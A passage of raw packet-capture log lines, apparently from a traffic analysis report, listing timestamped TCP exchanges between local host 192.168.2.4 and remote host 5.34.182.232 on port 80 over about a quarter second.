                                                          Apr 21, 2024 15:22:39.914407969 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:39.914443016 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:39.914449930 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:39.914479971 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:39.914488077 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:39.914519072 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:39.914530993 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:39.914556026 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:39.914566040 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:39.914594889 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:39.914617062 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:39.914632082 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:39.914642096 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:39.914674044 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:39.914683104 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:39.914716005 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:39.914726019 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:39.914755106 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:39.914767981 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:39.914796114 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:39.914805889 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:39.914834976 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:39.914844990 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:39.914871931 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:39.914879084 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:39.914911032 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:39.914918900 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:39.914948940 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:39.914958954 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:39.914987087 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:39.915024996 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:39.915040016 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:39.915064096 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:39.915101051 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:39.915111065 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:39.915138960 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:39.915144920 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:39.915178061 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:39.915215015 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:39.915225983 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:39.915254116 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:39.915292025 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:39.915301085 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:39.915330887 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:39.915339947 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:39.915369987 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:39.915406942 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:39.915419102 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:39.915445089 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:39.915481091 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:39.915488958 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:39.915518045 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:39.915529966 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:39.915556908 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:39.915595055 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:39.915605068 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:39.915632963 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:39.915669918 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:39.915687084 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:39.915708065 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:39.915745020 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:39.915750027 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:39.915750027 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:39.915782928 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:39.915819883 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:39.915821075 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:39.915839911 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:39.915858030 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:39.915894985 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:39.915908098 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:39.915932894 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:39.915970087 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:39.915983915 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:39.916009903 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:39.916023970 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:39.916048050 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:39.916065931 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:39.916085005 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:39.916093111 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:39.916143894 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:39.916146994 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:39.916184902 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:39.916222095 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:39.916233063 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:39.916263103 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:39.916300058 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:39.916312933 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:39.916337967 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:39.916346073 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:39.916376114 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:39.916414022 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:39.916426897 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:39.916451931 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:39.916491032 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:39.916505098 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:39.916529894 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:39.916541100 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:39.916568041 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:39.916605949 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:39.916619062 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:39.916646004 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:39.916652918 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:39.916685104 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:39.916723967 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:39.916738033 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:39.916759014 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:39.916762114 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:39.916779041 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:39.916801929 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:39.916838884 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:39.916865110 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:39.916877031 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:39.916914940 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:39.916923046 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:39.916953087 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:39.916954994 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:39.916971922 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:39.917556047 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:39.943123102 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:39.943186045 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:39.943192959 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:39.943226099 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:39.943265915 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:39.943279028 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:39.943305016 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:39.943341970 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:39.943356037 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:39.943382025 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:39.943387985 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:39.943419933 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:39.943458080 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:39.943464994 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:39.943495989 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:39.943522930 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:39.943535089 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:39.943542957 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:39.943572044 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:39.943583965 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:39.943609953 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:39.943630934 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:39.943650961 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:39.943655014 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:39.943691015 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:39.943695068 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:39.943728924 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:39.943738937 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:39.943769932 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:39.943778992 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:39.943806887 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:39.943845034 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:39.943859100 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:39.943883896 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:39.943922043 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:39.943929911 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:39.943963051 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:39.943969011 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:39.944001913 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:39.944039106 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:39.944044113 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:39.944077015 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:39.944129944 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:39.944145918 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:39.944185019 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:39.944205046 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:39.944228888 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:39.944240093 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:39.944271088 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:39.944278002 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:39.944309950 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:39.944348097 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:39.944360018 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:39.944385052 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:39.944422007 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:39.944432020 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:39.944456100 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:39.944458961 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:39.944492102 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:39.944497108 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:39.944510937 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:39.944536924 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:39.944539070 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:39.944582939 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.154325008 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.154392958 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.154433966 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.154474974 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.154501915 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.154512882 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.154545069 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.154582024 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.154613018 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.154625893 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.154664993 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.154675961 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.154704094 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.154719114 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.154742956 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.154782057 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.154798031 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.154823065 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.154860020 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.154895067 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.154897928 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.154921055 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.154937029 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.154974937 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.155004978 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.155013084 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.155023098 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.155057907 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.155095100 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.155112028 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.155133009 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.155133963 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.155174971 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.155211926 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.155229092 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.155251026 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.155289888 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.155308008 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.155328989 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.155343056 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.155365944 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.155402899 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.155420065 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.155441999 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.155482054 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.155499935 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.155520916 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.155538082 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.155560970 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.155597925 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.155616045 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.155690908 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.155729055 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.155745029 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.155766964 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.155775070 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.155805111 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.155843019 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.155858040 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.155880928 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.155919075 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.155941963 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.155957937 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.155971050 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.155996084 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.156033039 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.156044006 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.156074047 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.156137943 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.156137943 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.156177044 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.156191111 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.156217098 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.156253099 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.156258106 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.156275034 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.156296968 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.156310081 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.156336069 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.156352043 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.156374931 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.156385899 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.156411886 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.156426907 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.156451941 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.156469107 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.156492949 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.156506062 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.156532049 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.156544924 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.156569958 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.156579971 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.156608105 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.156621933 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.156646967 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.156658888 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.156687021 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.156699896 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.156723976 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.156737089 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.156760931 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.156790018 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.156799078 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.156814098 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.156836987 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.156846046 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.156877041 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.156892061 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.156915903 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.156929016 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.156954050 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.156968117 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.156992912 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.157001972 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.157030106 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.157042980 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.157069921 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.157099962 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.157109022 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.157120943 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.157149076 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.157156944 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.157186985 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.157202959 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.157227993 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.157241106 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.157267094 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.157282114 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.157305002 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.157315016 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.157341957 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.157355070 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.157380104 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.157394886 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.157418966 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.157432079 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.157455921 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.157465935 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.157495022 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.157507896 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.157531977 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.157545090 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.157572031 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.157583952 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.157609940 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.157620907 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.157651901 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.157661915 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.157691956 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.157702923 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.157727957 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.157764912 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.157764912 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.157784939 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.157804012 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.157819986 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.157840967 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.157855988 CEST4974080192.168.2.45.34.182.232
